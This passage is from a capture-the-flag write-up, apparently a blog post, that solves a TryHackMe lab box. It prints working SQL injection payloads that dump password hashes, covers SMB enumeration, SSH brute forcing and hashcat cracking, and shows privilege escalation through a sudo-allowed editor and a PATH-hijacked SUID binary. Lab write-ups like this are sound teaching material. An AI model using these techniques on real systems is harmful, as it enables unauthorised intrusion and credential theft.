box) is, and how it is used. But, in simple terms, virtual domain name hosting is a method for hosting multiple domain names on a single server. Why is this used, because you can host two(or more) different websites using the same IP address, saving cost of having to buy multiple IP addresses.<br>So, we know that this particular box is using virtual domain name hosting and that the name the of other domain is hogwarts-castle.thm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QzIJz5tjjB5sNW4dZ4cKUw.jpeg" /></figure><p>Now, to visit this particular website, we have two options(that I know of):<br> 1. You can proxy your traffic through Burp, or any other proxy of your choice, make a request to <strong><em>*THM Box Ip*</em></strong> (10.10.137.43 in my case), intercept the traffic, and change the host header from <strong><em>*THM Box Ip*</em></strong> to hogwarts-castle.thm. The drawback with this method is that every time you want to make a new request you have to change the host header to the domain name, or else your browser will throw an error as it won’t find the host.<br> 2. The Second, and the easier method, is to edit your hosts file. If you are using a Linux based distro, your hosts file will be located in the /etc directory. Open you /etc/hosts file in a text editor and in the IPv4 section add the <strong><em>*THM Box IP*</em></strong> and the domain name, separated by a space. Now, whenever you enter the domain name, your browser will automatically route you to the desired location.<br>Let’s go to hogwarts-castle.thm.<br>When we go to the website, we are yet again greeted by the same default webpage. It seems we made a mistake somewhere. On reading the email again, we see that the actual domain name granted was <strong><em>hogwartz-castle.thm</em> </strong>instead. Making the required changes in our hosts file, and visiting the domain again, we are greeted with a login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*grpzc_eS4NCIrUG3_LUJ6g.jpeg" /></figure><p>Doing a simple SQLi check on the webpage using SQLMap shows that the page might be SQLi vulnerable, but there was no success. So, I decided to try some simple payloads on my own. Using the payload</p><pre><br>”user=admin’ or 1=1 --&amp;password=admin”</pre><p>we get a response back saying that the password for “<strong>Lucas Washington is incorrect”</strong>. The username was leaked. This means we are on the right track. Wonder why the SQLMap didn’t work. I decided to give SQLMap another try. Still no luck, it would appear that the queries sent by SQLMap ̶a̶r̶e̶ ̶b̶e̶i̶n̶g̶ ̶b̶l̶o̶c̶k̶e̶d̶ ̶b̶y̶ ̶a̶ ̶W̶A̶F̶(Web-Application Firewall)(<strong><em>They weren’t actually</em></strong>). SQLMap provides us with an option to get around this by adding --tamper=space2comment in our SQLMap request.<br>After bashing my head against the wall with SQLMap, I understood that this technique won’t work. So, I decided to take a different route.</p><p>Lets take a step back and see what else we found using Nmap. We can see that port 445 is listening, which is the default samba share port. I connected to this port using smbclient, using anonymous login. But it failed, so I used Nmap scripts to enumerate this port further. Using Nmap we found that the shared folder was named samba share, and not anonymous. Logging in through smbclient, we see that two documents are shared “.<em>names.txt</em>” and “<em>spellnames.txt</em>”, we get both of those documents for further inspection.</p><p>One document contains “spell names” as the name suggests, possibly passwords for ssh, and the other document contains two names Hagrid and Hermonine. This I thought was a typo, correcting the spelling and trying to brute-force the SSH through the password list using Hydra was…. unsuccessful. Trying the other 2 usernames, nothing happened. At this point the only feasible option we have left is somehow exploiting the SQLi. Since SQLMap failed to do that for us. I decided to go the manual route. SQLMap already provided us with a payload, so I decided to try it using burp repeater. Using the payload, we see that payload values are reflected in the output, it is clear that we can control the output, which means we can pass functions to it and get data back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YrPr39AmwnpesS6Tohxq-w.jpeg" /></figure><p>Now this part took me a loooooot of time, not that this was insanely hard, but just because I am not very good at SQLi’s. Currently. <br>Anyhow, after some hours of researching I finally constructed a payload</p><pre><br>‘ union select group_concat(password),2,3,4 FROM users-- -</pre><p>This payload reflected the password hashes of different users in the database. <strong>Finally</strong>. Running one of the hash through Haiti, we get to know that these are sha-512. Trying to crack the hashes through john and using the rock you word-list, we find no passwords. Looks like we missed something. So I ran my SQLi payload through burp intruder, replacing “password” with some common server side variable names, using the default burp wordlist, and sure enough we got some more information, user names, and notes. On further inspection of notes, one thing stands out. The second user has a hint to his password.</p><pre><br>My password used best64</pre><p>Huh, the name of this user was “Harry Turner”. Inputting this name in the user field of the login form, displays the same message. Which would mean that the second hash of the password list, is this users password. best64 sounded a lot like base64, so I converted each line from “spellnames.txt” to it base64 counterpart and used this list to crack the hashes, but that was <em>Plain</em>-wrong<em> </em>(sorry for the awful pun). After some Google-fu, it was clear that best64 is a mutation technique, and that hash-cat already has it. Using the pre-built best64 rule in hash-cat on the password, we crack it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o8sJNKK_4OJ_OQH7smi7Gg.jpeg" /><figcaption>The password has been redacted.</figcaption></figure><p>Finally logging into the website, we found that Harry is reusing his passwords. Thanks to the very conveniently placed message. This means we got access to the machine. Upon SSHing into the machine we are greeted by a message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FzDobRXf3fj88P25hA8glA.jpeg" /></figure><p>Also, we got our first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*o_eKKYLeQRKxS4uGrfaXxg.jpeg" /></figure><p>Next, escalating priveleges. Running sudo -l we see that user hermonine can run pico with escalated privileges. To <a href="https://gtfobins.github.io/">GTFObins</a> we go. Following the instructions there, we are now user hermonine. And, we got the second flag. That was easy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*oQnXYAahx8kamK-IcdqINw.jpeg" /></figure><p>And if you are wondering why your shell and my shell look so different, I just upgraded this shell using</p><pre>python3 -c ‘import pty; pty.spawn(“/bin/bash”)’ </pre><p>And you’ll be back on track. If it still feels weird, do this</p><pre><br>stty rows 13 columns 136<br>reset</pre><p>Now, for the root flag. Since, we don’t know the password for user hermonine, sudo is out of the question. Next logical step will be to find a file with a SUID bit set.</p><pre><br>find / -perm -u=s -type f 2&gt;/dev/null</pre><blockquote>Here, /: specifies the directory from where to begin searching(root in this case), -perm: only show files with a particular permission, -type: specify what to find, 2&gt;/dev/null: This option is a little complex in its entirety, so just understand this, it will hide any error during the execution of this command.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B7dJiroyQP5OHkT9G5tmYQ.jpeg" /></figure><p>Everything else is just routine, except a file named swagger. Executing this, it asks us to guess a number, and then outputs a random number if we are wrong. I saw this and immediately my mind went to a buffer-overflow exploit . But to confirm my thesis, I need to see the internals of this program. So I exported this file to my machine using netcat, I usually prefer python, but it was not working correctly on this machine for some reason. <br>I opened the file using Ghidra. <br>It would appear that if we guess the number correctly the program makes a system call to <strong><em>*uname -p*</em></strong>. It appears that the binary is can be exploited using spoofing techniques. But, that means no buffer-overflow. Aww, sad programmer noises.</p><p>The main issue in exploiting this binary, lies with guessing the random number. After some researching, I found out that the function “rand()” used for random number generation was unsafe, as it displayed the same number if called in quick succession. This was very easy to confirm, using bash.</p><pre>for i in {1..5};do echo 1 | ./swagger ; done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qwI8ocgE3M0KAdmJzvipRQ.jpeg" /></figure><p>With that out of the way, we can start fooling the system. First, we create a file called uname (because the program calls a system file with the same name) in the same directory, with</p><pre><br>cat /root/root.txt</pre><p>as the payload. We give this file executable permission. This will output our flag. We add our pwd(present working directory) to the beginning of PATH environment variable, so that system will first check for the uname file in this directory, using</p><pre><br>export PATH=/srv/time-turner:$PATH</pre><p>Now, we will execute the program passing any number to it, grep the output number, and pass it back to the program, so that it successfully executes.</p><pre><br>echo 0 | ./swagger | awk ‘{print $5}’ | tail -1 | ./swagger</pre><p>This command will help us achieve that. I can’t show you the output of this command as it contains the flag. But trust me, this works.</p><p>This was my first write-up, so I hope you enjoyed it. If you have any suggestions, do let me know in the comments.<br>Have a nice day.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e637db17da31" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>